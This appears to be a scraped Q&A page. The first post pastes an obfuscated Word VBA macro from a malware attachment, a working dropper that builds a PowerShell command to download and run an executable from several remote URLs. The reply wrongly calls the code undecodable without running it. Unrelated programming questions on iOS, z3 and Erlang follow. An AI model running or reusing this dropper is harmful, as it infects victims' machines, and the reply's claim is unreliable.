My other half was sent a piece of malware in MS word VBA. The document was opened, editing enabled and the Trojan was missed by the anti virus for some reason.
I'm 99% sure the system has been cleaned and the there are no lasting effects, however I'd like to understand what the code was trying to do so I can be 100% sure.
What I have managed to translate is beyond my skill.
This is the original function from the VBA:
Function BfXNd()
Dim nORTSq(3)
nORTSq(0) = Right(LCsbFFjF, 428)
nORTSq(1) = Left(JErht, 810)
nORTSq(2) = Mid(pjzflRs, 58, 796)
Dim rnMCEl(3)
rnMCEl(0) = Left(JErht, 810)
rnMCEl(1) = Mid(pjzflRs, 58, 796)
rnMCEl(2) = MidB(iOGKfiB, 537, 348)
Dim HXiIk(2)
HXiIk(0) = Left(JErht, 810)
HXiIk(1) = Mid(pjzflRs, 58, 796)
kRRCNwn = Chr(Format(7 + 7 + 1 + 16 + 68)) + "md /V:O/" + Chr(Format(4 + 4 + 1 + 11 + 47)) + Chr(Format(2 + 2 + 0 + 5 + 25)) + "s^e^t e^" + "4= ^ ^ ^ " + " ^ ^ ^ ^ ^ ^}^}^" + "{^h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^t^a" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^};^ka^" + "er^b;Bv^M$ ^met^I^-^e^k^" + "ovn^I^;)BvM^$^ ,iE^S^$(^e^li" + "^Fd^a^oln^w^oD.^W^W^Y${^y" + "r^t^{)" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "R" + "^w$ ni^ i^ES$(h" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "aer^o^f" + "^;^'ex^e.'^+o^bV$+'^\'+" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^i" + "lbup:vne^$=^BvM^$;'68^9'^ =^ ^"
Dim WlsRmu(5)
WlsRmu(0) = MidB(iOGKfiB, 537, 348)
WlsRmu(1) = MidB(iOGKfiB, 537, 348)
WlsRmu(2) = Right(LCsbFFjF, 428)
WlsRmu(3) = Right(LCsbFFjF, 428)
WlsRmu(4) = Left(JErht, 810)
Dim ojijX(2)
ojijX(0) = MidB(iOGKfiB, 537, 348)
ojijX(1) = MidB(iOGKfiB, 537, 348)
Dim nHDNir(2)
nHDNir(0) = Mid(pjzflRs, 58, 796)
nHDNir(1) = Right(LCsbFFjF, 428)
jhcbfQ = "o^bV$;)'^#'(t^i^lpS.^'lk^U4^um" + "j4S/s^e^.ynnadrm//:" + "^p^tt^h^#JEVk5^m" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^W" + "/r^b.^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "i^pa//:^p^tt^h#^A^i1i^U" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^d^" + "I^Q/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^.^sn" + "o^it^u^lo^s-ah" + "sna^d//:^ptt^h#bu^A"
Dim tmiOA(5)
tmiOA(0) = MidB(iOGKfiB, 537, 348)
tmiOA(1) = Left(JErht, 810)
tmiOA(2) = Left(JErht, 810)
tmiOA(3) = Mid(pjzflRs, 58, 796)
tmiOA(4) = Mid(pjzflRs, 58, 796)
pHiJQ = "^q^HHT^M/m" + "o" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".^i^lam^p^us^ten//:^p^tth#z^" + "O^SdrnmX/^mo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + ".no^is^sa^" + "pmo" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "ht" + "i^a^f//:^p^t^th'^=" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "Rw^$;t" + "n^ei^l" + Chr(Format(4 + 4 + 1 + 11 + 47)) + "^b^e^W^.teN" + " t" + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^e^jbo^-^wen=W^W" + "^Y$ lle^hsr^e^wo^p&&^f^or" + " /^L %^t ^in (^374;^-^1^;0)d^o" + " ^s^e^t ^qhL=!^qhL!!e^4:~%^t,"
Dim isfqZj(5)
isfqZj(0) = Left(JErht, 810)
isfqZj(1) = MidB(iOGKfiB, 537, 348)
isfqZj(2) = Mid(pjzflRs, 58, 796)
isfqZj(3) = MidB(iOGKfiB, 537, 348)
isfqZj(4) = Right(LCsbFFjF, 428)
Dim HCOVDH(2)
HCOVDH(0) = MidB(iOGKfiB, 537, 348)
HCOVDH(1) = Left(JErht, 810)
Dim YuAhz(5)
YuAhz(0) = Left(JErht, 810)
YuAhz(1) = Mid(pjzflRs, 58, 796)
YuAhz(2) = Right(LCsbFFjF, 428)
YuAhz(3) = Mid(pjzflRs, 58, 796)
YuAhz(4) = Mid(pjzflRs, 58, 796)
vflzlZjAjXX = "1!&&^i^f" + " %^t ^ls^s ^1 " + Chr(Format(7 + 7 + 1 + 16 + 68)) + "^al^l " + "%^qhL:^~^5%" + Chr(Format(2 + 2 + 0 + 5 + 25)) + ""
BfXNd = kRRCNwn + jhcbfQ + pHiJQ + vflzlZjAjXX
Dim kmYzM(4)
kmYzM(0) = MidB(iOGKfiB, 537, 348)
kmYzM(1) = Mid(pjzflRs, 58, 796)
kmYzM(2) = Left(JErht, 810)
kmYzM(3) = Mid(pjzflRs, 58, 796)
Dim hNkzi(5)
hNkzi(0) = Mid(pjzflRs, 58, 796)
hNkzi(1) = Left(JErht, 810)
hNkzi(2) = Left(JErht, 810)
hNkzi(3) = Mid(pjzflRs, 58, 796)
hNkzi(4) = MidB(iOGKfiB, 537, 348)
End Function
It's encrypted code.
There's no way to tell what it's doing without running it far enough to have it decrypt itself.
When run, the strings will be converted back into commands of some sort, at which point you can tell what it's going to do.
If you want to examine it, spin up a windows Virtual Machine (you can get them free from Microsoft), install Word and you can step through the code using the Debugger, which is in the "Macros" menu in Word.
Related
In my app there is a function where it allows me to upload a photo, when I click to upload it and select the photo after it does not upload the photo to the server.
And me showing this error in xcode:
4 Midica 0x000000010471b07c __25-[CDVCamera takePicture:]_block_invoke + 1084
5 libdispatch.dylib 0x00000001050d06d4 _dispatch_call_block_and_release + 32
6 libdispatch.dylib 0x00000001050d23b4 _dispatch_client_callout + 20
7 libdispatch.dylib 0x00000001050d4f2c _dispatch_queue_override_invoke + 1052
8 libdispatch.dylib 0x00000001050e6500 _dispatch_root_queue_drain + 408
9 libdispatch.dylib 0x00000001050e6f0c _dispatch_worker_thread2 + 196
10 libsystem_pthread.dylib 0x00000001f0ea60b8 _pthread_wqthread + 228
11 libsystem_pthread.dylib 0x00000001f0ea5e94 start_wqthread + 8
2021-12-01 10:41:00.874693+0100 Midica[16299:4370500] Error opening file http://localhost:52474/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg: Error Domain=NSCocoaErrorDomain Code=260 "The file “cdv_photo_014.jpg” couldn’t be opened because there is no such file." UserInfo={NSFilePath=/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg, NSUnderlyingError=0x2826aadf0 {Error Domain=NSPOSIXErrorDomain Code=2 "No such file or directory"}}
2021-12-01 10:41:00.874802+0100 Midica[16299:4370500] FileTransferError {
code = 1;
source = "http://localhost:52474/local-filesystem/var/mobile/Containers/Data/Application/333C35EE-D28F-48DA-A04C-00AB1A384A89/tmp/cdv_photo_014.jpg";
target = "http://www.seciconsulting.com/mercati_rionali/Mercati%2520Pdc/upload_foto.php";
}
And this is my code:
$(document).on('tap', '#scatta_foto1', function(event) {
event.preventDefault();
if (app.isJQMGhostClick(event)) {
return;
}
navigator.camera.getPicture(function(imageData) {
var options = new FileUploadOptions();
options.fileKey = "file";
options.fileName = imageData.substr(imageData.lastIndexOf('/') + 1);
options.mimeType = "image/jpg";
options.chunkedMode = true;
app.setV('immagine1', options.fileName);
app.setV('img1_salv', options.fileName);
var ft = new FileTransfer();
ft.upload(imageData, encodeURI(app.getV('root') + 'upload_foto.php'), function win(r) {
$('#immagine1').attr('src', encodeURI(app.getV('root_img') + options.fileName));
$('.foto1').show();
}, function fail(error) {
alert('Image: ' + imageData + 'Failed because: ' + error.code + ' source: ' + error.source+ ' target: ' + error.target + ' status: ' + error.status + ' body: ' + error.body + ' exception: ' + error.exception);
}, options, true);
}, function(message) {
}, {
quality : 50,
encodingType : Camera.EncodingType.JPG,
destinationType : Camera.DestinationType.FILE_URI,
sourceType : navigator.camera.PictureSourceType.PHOTOLIBRARY
});
event.stopImmediatePropagation();
});
I have a set of linear constraints defined on a set of real parameters. The aim is to find a solution of parameters that satisfies maximum number of these constraints. I use the Optimizer in z3 but it is really slow. The number of constraints is 100 and the number of parameters is 9, which is not a large number. I use the following code:
from z3 import *
s = Optimize()
W = RealVector('w', 9)
s.add(And([And(w >= -100, w <= 100) for w in W]))
**Add soft constraints from a text file
out = s.check()
Following is a sample of the soft constraints, each with weight 1, that are added to the problem:
w__0 + 7*w__1 + 181*w__2 + 84*w__3 + 21*w__4 + 192*w__5 + 36*w__6 + 59*w__7 + 51*w__8 > 0
w__0 + 2*w__1 + 127*w__2 + 58*w__3 + 24*w__4 + 275*w__5 + 28*w__6 + 160*w__7 + 25*w__8 < 0
w__0 + 11*w__1 + 138*w__2 + 76*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 42*w__7 + 35*w__8 < 0
w__0 + 2*w__1 + 81*w__2 + 60*w__3 + 22*w__4 + 0*w__5 + 28*w__6 + 29*w__7 + 25*w__8 < 0
w__0 + 0*w__1 + 84*w__2 + 82*w__3 + 31*w__4 + 125*w__5 + 38*w__6 + 23*w__7 + 23*w__8 < 0
w__0 + 9*w__1 + 140*w__2 + 94*w__3 + 0*w__4 + 0*w__5 + 33*w__6 + 73*w__7 + 45*w__8 > 0
w__0 + 8*w__1 + 197*w__2 + 74*w__3 + 0*w__4 + 0*w__5 + 26*w__6 + 119*w__7 + 39*w__8 > 0
w__0 + 8*w__1 + 120*w__2 + 0*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 18*w__7 + 38*w__8 > 0
w__0 + 7*w__1 + 161*w__2 + 86*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 17*w__7 + 47*w__8 > 0
w__0 + 4*w__1 + 120*w__2 + 68*w__3 + 0*w__4 + 0*w__5 + 30*w__6 + 71*w__7 + 34*w__8 < 0
w__0 + 7*w__1 + 187*w__2 + 50*w__3 + 33*w__4 + 392*w__5 + 34*w__6 + 83*w__7 + 34*w__8 > 0
w__0 + 2*w__1 + 87*w__2 + 0*w__3 + 23*w__4 + 0*w__5 + 29*w__6 + 77*w__7 + 25*w__8 < 0
w__0 + 1*w__1 + 97*w__2 + 68*w__3 + 21*w__4 + 0*w__5 + 27*w__6 + 110*w__7 + 22*w__8 < 0
w__0 + 4*w__1 + 123*w__2 + 80*w__3 + 15*w__4 + 176*w__5 + 32*w__6 + 44*w__7 + 34*w__8 < 0
w__0 + 6*w__1 + 195*w__2 + 70*w__3 + 0*w__4 + 0*w__5 + 31*w__6 + 33*w__7 + 31*w__8 > 0
w__0 + 0*w__1 + 101*w__2 + 64*w__3 + 17*w__4 + 0*w__5 + 21*w__6 + 25*w__7 + 21*w__8 < 0
w__0 + 12*w__1 + 92*w__2 + 62*w__3 + 7*w__4 + 258*w__5 + 28*w__6 + 93*w__7 + 44*w__8 > 0
w__0 + 1*w__1 + 88*w__2 + 62*w__3 + 24*w__4 + 44*w__5 + 30*w__6 + 42*w__7 + 23*w__8 < 0
I know that the performance of the solution will depend on the nature of the problem but with 100 such constraints the computations go on forever. Is there any additional option that I can use to make this faster?
I also implemented the fu-malik algorithm myself by extracting the core, even with that it's really slow.
I'm getting crashes, sometimes when I try to remove all arrangedSubviews in a UIStackView. If I use only UILabel with no styling, it works fine.
I have this function to remove the children:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
I setup the UILabel like so:
public class func setToLabel(label:UILabel) {
label.setFontRegular(10)
label.setFontColor(BaseStyleColors.c4)
}
I have this to setup the fonts:
public class FontHelpers {
public class func systemFontWithMonospacedNumbers(currentFont:UIFont) -> UIFont {
let features = [
[
UIFontFeatureTypeIdentifierKey: kNumberSpacingType,
UIFontFeatureSelectorIdentifierKey: kMonospacedNumbersSelector
]
]
let fontDescriptor = currentFont.fontDescriptor().fontDescriptorByAddingAttributes(
[UIFontDescriptorFeatureSettingsAttribute: features]
)
return UIFont(descriptor: fontDescriptor, size: currentFont.pointSize)
}
public static var bodyStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleBody)
public static var headlineStyleFont = UIFont.preferredFontForTextStyle(UIFontTextStyleHeadline)
public class func useBodyFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.bodyStyleFont.fontDescriptor(), size: size)
}
public class func useHeadlineFontWithSize(size:CGFloat) -> UIFont {
return UIFont(descriptor: self.headlineStyleFont.fontDescriptor(), size: size)
}
public class func useSystemFontMediumWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-Medium", size: size) ?? self.useBodyFontWithSize(size)
}
public class func useSystemFontSemiBoldWithSize(size:CGFloat) -> UIFont {
return UIFont(name: ".SFUIText-SemiBold", size: size) ?? self.useBodyFontWithSize(size)
}
}
Label extension
extension UILabel {
func setFontColor(color:UIColor) {
self.textColor = color
}
func setFontDisplayMedium(size:CGFloat) {
self.font = FontHelpers.systemFontWithMonospacedNumbers(FontHelpers.useSystemFontMediumWithSize(size))
}
func setFontMedium(size:CGFloat) {
self.font = FontHelpers.useSystemFontMediumWithSize(size)
}
func setFontRegular(size:CGFloat) {
self.font = FontHelpers.useBodyFontWithSize(size)
}
func setFontSemiBold(size:CGFloat) {
self.font = FontHelpers.useSystemFontSemiBoldWithSize(size)
}
}
In console I get this error:
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
2016-04-04 08:09:59.877 MyApp[49788:4979069] *** Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: '{objective 0x7f9fe3fc9350: <250:289.293> + <250:-3.58537>*0x7f9fe141ccf0:UISV-canvas-connection.marker{id: 1121} + <250:2.58537>*0x7f9fe141d080:UISV-alignment.marker{id: 1123} + <998:-0.999999, 250:2.58537>*0x7f9fe1439130:UISV-alignment.marker{id: 1094} + <998:0.999999, 250:-2.58537>*0x7f9fe1439250:UISV-alignment.marker{id: 1095} + <750:1, 250:1>*0x7f9fe14395e0.negError{id: 1099} + <750:1, 250:1>*0x7f9fe1439750.negError{id: 1126} + <750:1, 250:1>*0x7f9fe1439a10.negError{id: 1103} + <750:1, 250:1>*0x7f9fe1439a70.negError{id: 1105} + <998:1, 250:-0.585366>*0x7f9fe1439e10:UISV-canvas-connection.marker{id: 1106} + <998:-1, 250:0.585366>*0x7f9fe143a010:UISV-canvas-connection.marker{id: 1113} + <998:-1, 250:0.585366>*0x7f9fe143a6f0:UISV-spacing.marker{id: 1115} + <999:1, 998:1, 250:-1.58537>*0x7f9fe143a860:UISV-fill-proportionally.negError{id: 1117} + <999:1, 998:-1, 250:1.58537>*0x7f9fe143a860:UISV-fill-proportionally.posErrorMarker{id: 1116} + <998:2>*0x7f9fe143abd0:UISV-fill-proportionally.negError{id: 1119} + <250:3.58537>*0x7f9fe143ae70:UISV-canvas-connection.marker{id: 1120} + <750:1, 250:1>*0x7f9fe1446d20.negError{id: 1010} + <750:1, 250:1>*0x7f9fe1449b30.negError{id: 981} + <998:2>*0x7f9fe145c160:UISV-fill-proportionally.negError{id: 1003} + <998:-1, 250:-0.585365>*0x7f9fe1460980:UISV-canvas-connection.marker{id: 1019} + <998:1, 250:0.585365>*0x7f9fe1460b60:UISV-canvas-connection.marker{id: 1026} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.negError{id: 1030} + <999:1, 998:1, 250:1.58537>*0x7f9fe1460d00:UISV-fill-proportionally.posErrorMarker{id: 1029} + <998:-1, 250:-0.585366>*0x7f9fe1461610:UISV-canvas-connection.marker{id: 1048} + <998:1, 250:0.585366>*0x7f9fe1461810:UISV-canvas-connection.marker{id: 1055} + <750:1, 250:1>*0x7f9fe14618b0.negError{id: 1018} + <750:1, 250:1>*0x7f9fe1463960.negError{id: 1016} + <998:1, 250:0.585365>*0x7f9fe1464720:UISV-spacing.marker{id: 1028} + <999:1, 998:1>*0x7f9fe1464cd0:UISV-fill-proportionally.negError{id: 1001} + <999:1, 998:-1>*0x7f9fe1464cd0:UISV-fill-proportionally.posErrorMarker{id: 1000} + <750:1, 250:1>*0x7f9fe1468c90.negError{id: 1012} + <750:1, 250:1>*0x7f9fe1468e00.negError{id: 1039} + <750:1, 250:1>*0x7f9fe1469250.negError{id: 987} + <750:1, 250:1>*0x7f9fe14692b0.negError{id: 989} + <998:-1>*0x7f9fe1469960:UISV-alignment.marker{id: 1007} + <998:1>*0x7f9fe1469a80:UISV-alignment.marker{id: 1008} + <998:-1>*0x7f9fe146b870:UISV-canvas-connection.marker{id: 1004} + <998:1>*0x7f9fe146b960:UISV-canvas-connection.marker{id: 1005} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe146d360:UISV-spacing.marker{id: 999} + <998:1, 250:0.585366>*0x7f9fe146eeb0:UISV-spacing.marker{id: 1057} + <999:1, 998:-1, 250:-1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.negError{id: 1059} + <999:1, 998:1, 250:1.58537>*0x7f9fe146efd0:UISV-fill-proportionally.posErrorMarker{id: 1058} + <250:-2.58537>*0x7f9fe14723c0:UISV-alignment.marker{id: 1066} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1472ad0:UISV-canvas-connection.marker{id: 997} + <999:1, 998:1, 250:-1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.negError{id: 1088} + <999:1, 998:-1, 250:1.58537>*0x7f9fe14752a0:UISV-fill-proportionally.posErrorMarker{id: 1087} + <998:2>*0x7f9fe1475610:UISV-fill-proportionally.negError{id: 1090} + <998:-0.999999, 250:3.58537>*0x7f9fe14758b0:UISV-canvas-connection.marker{id: 1091} + <998:0.999999, 250:-3.58537>*0x7f9fe14759a0:UISV-canvas-connection.marker{id: 1092} + <250:3.58537>*0x7f9fe14764e0:UISV-canvas-connection.marker{id: 1033} + <250:-3.58537>*0x7f9fe14765d0:UISV-canvas-connection.marker{id: 1034} + <250:2.58537>*0x7f9fe1476b90:UISV-alignment.marker{id: 1036} + <250:-2.58537>*0x7f9fe1476cb0:UISV-alignment.marker{id: 1037} + <750:1, 250:1>*0x7f9fe1478bf0.negError{id: 983} + <250:-2.62021>*0x7f9fe14798a0:UISV-spacing.marker{id: 1163} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe147a220:UISV-canvas-connection.marker{id: 990} + <998:2>*0x7f9fe147c1b0:UISV-fill-proportionally.posErrorMarker{id: 1031} + <750:1, 250:1>*0x7f9fe147ccf0.negError{id: 1041} + <750:1, 250:1>*0x7f9fe147ce60.negError{id: 1068} + <750:1, 250:1>*0x7f9fe147d120.negError{id: 1045} + <750:1, 250:1>*0x7f9fe147d180.negError{id: 1047} + <998:2>*0x7f9fe1484350:UISV-fill-proportionally.posErrorMarker{id: 1060} + <250:3.58537>*0x7f9fe14845f0:UISV-canvas-connection.marker{id: 1062} + <250:-3.58537>*0x7f9fe14846e0:UISV-canvas-connection.marker{id: 1063} + <250:2.58537>*0x7f9fe14849f0:UISV-alignment.marker{id: 1065} + <750:1, 250:1>*0x7f9fe1486c40.negError{id: 1070} + <750:1, 250:1>*0x7f9fe1486db0.negError{id: 1097} + <750:1, 250:1>*0x7f9fe1487070.negError{id: 1074} + <750:1, 250:1>*0x7f9fe14870d0.negError{id: 1076} + <998:1, 250:-0.585366>*0x7f9fe14874a0:UISV-canvas-connection.marker{id: 1077} + <998:-1, 250:0.585366>*0x7f9fe14876a0:UISV-canvas-connection.marker{id: 1084} + <998:-1, 250:0.585366>*0x7f9fe1487890:UISV-spacing.marker{id: 1086} + <250:-2.58537>*0x7f9fe14889b0:UISV-alignment.marker{id: 1124} + <750:1, 250:1>*0x7f9fe1488d40.negError{id: 1128} + <250:2.62021>*0x7f9fe1488ee0:UISV-canvas-connection.marker{id: 1154} + <750:1, 250:1>*0x7f9fe1489170.negError{id: 1132} + <750:1, 250:1>*0x7f9fe14891d0.negError{id: 1134} + <999:2.42144e-07, 998:1, 250:2>*0x7f9fe1489570:UISV-canvas-connection.marker{id: 1135} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489770:UISV-canvas-connection.marker{id: 1142} + <999:-2.42144e-07, 998:-1, 250:-2>*0x7f9fe1489e50:UISV-spacing.marker{id: 1144} + <999:1, 998:1>*0x7f9fe1489fc0:UISV-fill-proportionally.negError{id: 1146} + <999:1, 998:-1>*0x7f9fe1489fc0:UISV-fill-proportionally.posErrorMarker{id: 1145} + <998:2>*0x7f9fe148a330:UISV-fill-proportionally.negError{id: 1148} + <998:-1>*0x7f9fe148a5d0:UISV-canvas-connection.marker{id: 1149} + <998:1>*0x7f9fe148a6c0:UISV-canvas-connection.marker{id: 1150} + <998:-1>*0x7f9fe148ac80:UISV-alignment.marker{id: 1152} + <998:1>*0x7f9fe148ada0:UISV-alignment.marker{id: 1153} + <250:-2.62021>*0x7f9fe148b200:UISV-spacing.marker{id: 1156} + <250:-2.62021>*0x7f9fe148b2c0:UISV-canvas-connection.marker{id: 1155} + <250:-2.62021>*0x7f9fe148b3e0:UISV-spacing.marker{id: 1157} + <250:-2.62021>*0x7f9fe148bbb0:UISV-spacing.marker{id: 1159} + <250:0.965157>*0x7f9fe148c4d0:UISV-fill-equally.marker{id: 1160} + <250:0.965157>*0x7f9fe148c850:UISV-fill-equally.marker{id: 1162} + <998:-0.999999, 250:0.965157>*0x7f9fe148d220:UISV-fill-equally.marker{id: 1164} + <250:-0.620209>*0x7f9fe148d270:UISV-fill-equally.marker{id: 1158} + <250:-2.62021>*0x7f9fe148d450:UISV-spacing.marker{id: 1161} + <250:-2.62021>*0x7f9fe148ff30:UISV-spacing.marker{id: 1165} + <250:2.62021>*0x7f9fe1520c60.marker{id: 919} + <250:-1.26154>*0x7f9fe15eeda0.marker{id: 917} + <250:-1.26154>*0x7f9fe50bb470:UISV-canvas-connection.marker{id: 1174} + <999:2>*0x7f9fe50c51e0.negError{id: 922} + <999:2>*0x7f9fe50cefe0.negError{id: 925} + <998:1>*0x7f9fe5113050.marker{id: 899} + <250:-1.58537>*0x7f9fe5130060.marker{id: 902} + <250:-1.58537>*0x7f9fe513af60.marker{id: 905} + <998:0.999999, 250:-1.58537>*0x7f9fe51502a0.marker{id: 908} + <250:-1.58537>*0x7f9fe5164440.marker{id: 911} + <250:-0.620209>*0x7f9fe516ba50:UISV-fill-equally.marker{id: 1171} + <998:1>*0x7f9fe517b4b0.marker{id: 914} + <250:0.965157>*0x7f9fe53e18a0:UISV-fill-equally.marker{id: 1168} + <250:0.00905983>*UIStackView:0x7f9fe1526830.Height{id: 966} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be860.Width{id: 923} + <999:0.00277778>*_UILayoutGuide:0x7f9fe53be9f0.Width{id: 926}}: internal error. Setting empty vector for variable MyApp.StyledLabelT1:0x7f9fe53d8120'4'.Height{id: 898}.'
Auto layout internal error. Cannot find an outgoing row head for incoming head during optimization of variable with near-zero coefficient, which should never happen.
Call stack:
*** First throw call stack:
(
0 CoreFoundation 0x000000010e136d85 __exceptionPreprocess + 165
1 libobjc.A.dylib 0x0000000110dcedeb objc_exception_throw + 48
2 CoreFoundation 0x000000010e136cbd +[NSException raise:format:] + 205
3 Foundation 0x000000010efa7acc -[NSISObjectiveLinearExpression setPriorityVector:forKnownAbsentVariable:] + 76
4 Foundation 0x000000010f14ac44 __128-[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:]_block_invoke + 297
5 Foundation 0x000000010efa46bf -[NSISLinearExpression enumerateVariablesAndCoefficients:] + 350
6 Foundation 0x000000010f14ab04 -[NSISObjectiveLinearExpression replaceVariable:withExpression:processVariableNewToReceiver:processVariableDroppedFromReceiver:] + 369
7 Foundation 0x000000010efa57ee -[NSISEngine substituteOutAllOccurencesOfBodyVar:withExpression:] + 633
8 Foundation 0x000000010efa8789 -[NSISEngine pivotToMakeBodyVar:newHeadOfRowWithHead:andDropRow:] + 330
9 Foundation 0x000000010efb2c21 -[NSISEngine removeConstraintWithMarker:] + 707
10 Foundation 0x000000010ef99899 -[NSLayoutConstraint _removeFromEngine:] + 229
11 UIKit 0x0000000110139d81 -[UIView(UIConstraintBasedLayout) _layoutEngine_willRemoveLayoutConstraint:] + 173
12 UIKit 0x000000011013a6b6 -[UIView(UIConstraintBasedLayout) nsli_removeConstraint:] + 114
13 UIKit 0x000000011013a62d -[UIView(UIConstraintBasedLayout) _removeConstraint:] + 301
14 UIKit 0x000000011014adde _UIViewRemoveConstraintsMadeDanglyByChangingSuperview + 1028
15 UIKit 0x000000010f8fc504 __45-[UIView(Hierarchy) _postMovedFromSuperview:]_block_invoke + 61
16 UIKit 0x000000010f8fc461 -[UIView(Hierarchy) _postMovedFromSuperview:] + 544
17 UIKit 0x000000010f8fa489 __UIViewWasRemovedFromSuperview + 213
18 UIKit 0x000000010f8f9fbf -[UIView(Hierarchy) removeFromSuperview] + 474
If I modify the method to also clear any sub UIStackViews, I 100% of the times get a crash, like so:
extension UIStackView {
func removeAllArrangedSubviews() {
for child in self.arrangedSubviews {
if let childStackView = child as? UIStackView {
childStackView.removeAllArrangedSubviews()
}
self.removeArrangedSubview(child)
child.removeFromSuperview()
}
}
}
Versions: I'm running Xcode 7.3 and iOS 9.3.
I'm new to erlang and programming in general.
I want to create a "Grid" of cells, where a cell is presented as:
+ +
+ +
What I know is the width and the height of the Grid.
So, for example, a 3x3 Grid is represented as:
+ + + +
+ + + +
+ + + +
+ + + +
print_grid(Height,Width) ->
and than some code here.
Can someone maybe give me a tip on how to solve this?
For this issue, you may use this function
grid(_,0)->ok;
grid(W,H)->
io:format(string:copies("+ ",W-1)++"+~n~n"),
grid(W,H-1).
output:
sol:grid(6,3).
+ + + + + +
+ + + + + +
+ + + + + +
15> sol:grid(3,3).
+ + +
+ + +
+ + +
I doubt that you do not need other feature like adding some characters in the cells, but you should be able to modify this:
4> Pgrid= fun(W,H) -> L = lists:foldl(fun(_,Acc) -> "+ " ++ Acc end,"~n~n",lists:seq(1,W+1)),
4> G = lists:foldl(fun(_,Acc)-> L ++ Acc end,[],lists:seq(1,H+1)),
4> io:format(G)
4> end.
#Fun<erl_eval.12.54118792>
5> Pgrid(6,3).
+ + + + + + +
+ + + + + + +
+ + + + + + +
+ + + + + + +
ok
6>
After I have updated monotouch to Version 5.2.13 my App crashes when I touched inside a UIButton.
About my Code: (it's a question of a LoginView):
I have a UIViewController which includes a ScrollView.
For each User the ScrollView provides a UIView (the UserImageView).
This UserImageView contains a UserImage, Username and so on. Over the UserImage lays a UIButton which should catches the Touch-Events to selected a User.
This Button causes the Exception below more precisely the HitTest method from the UIView.
I get the following Stacktrace:
Stacktrace:
at (wrapper managed-to-native) MonoTouch.UIKit.UIApplication.UIApplicationMain (int,string[],intptr,intptr) <IL 0x0009f, 0xffffffff>
at MonoTouch.UIKit.UIApplication.Main (string[],string,string) [0x00042] in /Developer/MonoTouch/Source/monotouch/src/UIKit/UIApplication.cs:29
at MF.Stationaer.iPad.Application.Main (string[]) <IL 0x00028, 0x00073>
at (wrapper runtime-invoke) <Module>.runtime_invoke_void_object (object,intptr,intptr,intptr) <IL 0x00050, 0xffffffff>
Native stacktrace:
0 MFiPad_MD 0x0009061c mono_handle_native_sigsegv + 284
1 MFiPad_MD 0x000059a8 mono_sigsegv_signal_handler + 248
2 libsystem_c.dylib 0x92cd259b _sigtramp + 43
3 ??? 0xffffffff 0x0 + 4294967295
4 UIKit 0x0228c741 __38-[UIView(Geometry) hitTest:withEvent:]_block_invoke_0 + 96
5 CoreFoundation 0x0116cf1a __NSArrayChunkIterate + 362
6 CoreFoundation 0x01138635 __NSArrayEnumerate + 997
7 CoreFoundation 0x01138026 -[NSArray enumerateObjectsWithOptions:usingBlock:] + 102
8 UIKit 0x0228c66b -[UIView(Geometry) hitTest:withEvent:] + 646
9 UIKit 0x0228c765 __38-[UIView(Geometry) hitTest:withEvent:]_block_invoke_0 + 132
10 CoreFoundation 0x0116cf1a __NSArrayChunkIterate + 362
11 CoreFoundation 0x01138635 __NSArrayEnumerate + 997
12 CoreFoundation 0x01138026 -[NSArray enumerateObjectsWithOptions:usingBlock:] + 102
13 UIKit 0x0228c66b -[UIView(Geometry) hitTest:withEvent:] + 646
14 UIKit 0x022a1157 -[UIScrollView hitTest:withEvent:] + 79
15 UIKit 0x0228c765 __38-[UIView(Geometry) hitTest:withEvent:]_block_invoke_0 + 132
16 CoreFoundation 0x0116cf1a __NSArrayChunkIterate + 362
17 CoreFoundation 0x01138635 __NSArrayEnumerate + 997
18 CoreFoundation 0x01138026 -[NSArray enumerateObjectsWithOptions:usingBlock:] + 102
19 UIKit 0x0228c66b -[UIView(Geometry) hitTest:withEvent:] + 646
20 UIKit 0x0228c765 __38-[UIView(Geometry) hitTest:withEvent:]_block_invoke_0 + 132
21 CoreFoundation 0x0116cf1a __NSArrayChunkIterate + 362
22 CoreFoundation 0x01138635 __NSArrayEnumerate + 997
23 CoreFoundation 0x01138026 -[NSArray enumerateObjectsWithOptions:usingBlock:] + 102
24 UIKit 0x0228c66b -[UIView(Geometry) hitTest:withEvent:] + 646
25 UIKit 0x0228c765 __38-[UIView(Geometry) hitTest:withEvent:]_block_invoke_0 + 132
